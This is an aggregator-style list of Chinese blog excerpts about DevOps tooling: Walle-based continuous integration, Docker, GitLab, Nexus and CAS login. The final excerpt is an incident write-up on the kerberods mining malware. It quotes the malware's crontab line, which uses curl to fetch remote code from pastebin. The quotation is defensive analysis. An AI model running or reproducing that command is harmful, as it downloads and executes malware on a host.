DevOps 基于Walle的小型持续集成实战(三)Docker与Gitlab - 思绪回忆的后端笔记 - SegmentFault 思否

还在按照mysql安装教程一步一步配置服务配置账户吗?还在为每开一个新环境重新配置这些服务感到苦恼吗?使用Docker,服务快速构建部署。解决你的研发时间,早点下班~现代技术,还不会docker你就落后了。Docker======百度百科定义 Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的 Linux或Wind...
阅读全文

DevOps 基于Walle的小型持续集成实战(二)设计 - 思绪回忆的后端笔记 - SegmentFault 思否

该文章用于建立一个小型的基于Walle的持续集成工具。解决java,react,angular项目的编译发布。以便对整个持续集成印象加深。 官方网站:适用场景 小型服务集群(选用DockerCompose ; 不使用Ansible) 简易构建脚本(选用Walle) 大规模集群复杂的构建脚本,请学习Jenkins+Ansible+K8S等生态基本思路 使...
阅读全文

DevOps 基于Walle的小型持续集成实战(一)概述 - 思绪回忆的后端笔记 - SegmentFault 思否

该文章用于概述一个小型持续集成环境的搭建的方案什么是持续集成?持续集成作为当今软件开发实践,可以简单理解为团队开发相对频繁的集成他们的工作,一般让每个成员每天至少集成一次,而这回造成每天会有多次的版本发布。于是我们需要应用到自动化的构建模式(编译发布到测试监控),从而尽早的发现集成中的错误。持续集成流程 常用生态 仓库管理 Git 代码仓库(G...
阅读全文

DevOps 从零开始-仓库环境搭建(Docker,Nginx,Nexus,Gitlab,免费Https)(一)基本概述 - 思绪回忆的后端笔记 - SegmentFault 思否

本文章用于描述如何从零开始进行阿里云仓库的搭建,以及过程中遇到的相关问题。涉及的内容包括Docker,Nginx,Nexus,Gitlab,Https。背景需要搭建一个简单的用于研发的仓库环境,以保证私有npm包,maven包,docker包能正常管理;代码能正常进行Git版本管理。目标: 1.硬盘挂载 阿里云linux额外购买的硬盘服务,需要仅挂载...
阅读全文

DevOps 从零开始-仓库环境搭建(Docker,Nginx,Nexus,Gitlab,免费Https)(二)硬盘挂载 - 思绪回忆的后端笔记 - SegmentFault 思否

本章节旨在概述购买阿里云服务后,如何快速搭建服务器(硬盘挂载,Docker环境)基本内容 硬盘挂载 Docker安装硬盘挂载 是不是阿里云上买了硬盘后,发现额外硬盘看不见?只能看到系统盘?那是因为额外的硬盘需要经过初始化后挂载才能正常使用。类似于windows的额外盘符一样;系统环境`lsb_release a` 以上命令能看到当前系统的版本和类型此...
阅读全文

DevOps 从零开始-仓库环境搭建(Docker,Nginx,Nexus,Gitlab,免费Https)(三)代码仓库 - 思绪回忆的后端笔记 - SegmentFault 思否

本章节用于讲解如何快速搭建gitlab进行代码管理镜像拉取 docker安装请浏览第二章节`sudo docker pull gitlab/gitlabce:latest`镜像启动```sudo docker run d \ hostname gitlab.xxx.com \ publish 8443:443 publish 18181:80 publi...
阅读全文

Cas5 springcloud 微信扫码登录 - 思绪回忆的后端笔记 - SegmentFault 思否

本笔记用于记录微信扫码登录过程中遇到的问题环境背景目的:React嵌入iframe微信扫码登录流程 登录页,模态窗嵌入Cas 登录页,控件触发后,扫码登录。显示出二维码 登录页,扫码后,跳转到caslogin 成功后,login成功后,跳转到客户端服务器 成功后,客户端服务器,验证,并跳转到静态h5界面,使用message通知成功 成功后,监听...
阅读全文

DevOps 基于Walle的小型持续集成实战(七)总结 - 思绪回忆的后端笔记 - SegmentFault 思否

该文章旨在描述从零开始搭建环境,中间遇到的问题以及最终的经验总结。 当前版本针对于2.0 docker安装版概要整体流程贯通,基本可以达到实用级别。满足25台服务器,少量的应用部署是完全可以的,但达到一定规模之后则Walle和Jenkins的差异马上就出来了,Walle的环境管理,服务器管理,上线通知,和各插件集成在这些巨大差距看来难以逾越。而除开Walle本身,整套设计还有不少...
阅读全文

DevOps漫谈之一:DevOps、CI、CD都是什么鬼? - 晶晶的博客

DevOpsDevOps是`Development`和`Operations`的组合,是一种方法论,是一组过程、方法与系统的统称,用于促进应用开发、应用运维和质量保障(QA)部门之间的沟通、协作与整合。以期打破传统开发和运营之间的壁垒和鸿沟。DevOps是一种重视“软件开发人员(Dev)”和“IT运维技术人员(Ops)”之间沟通合作的文化、运动或惯例。通过自动化“软件交付”和“架...
阅读全文

kerberods挖矿病毒查杀及分析(crontab 挖矿 curl -fsSL https://pastebin.com/raw) - 赵海鑫|芽孢八叠球菌|John Helsing - CSDN博客

最近公司外网带宽跑满,一些集群CPU使用率飙升,经过排查是由于redis的未授权访问漏洞导致中了kerberods挖矿病毒,把排查过程记录下来。一. 症状及表现1. CPU使用率异常高,外出流量异常2. crontab异常,存在如下定时任务(基本上就可以确定了)``` crontab l/15 (curl fsSL https://pastebin.com/raw...
阅读全文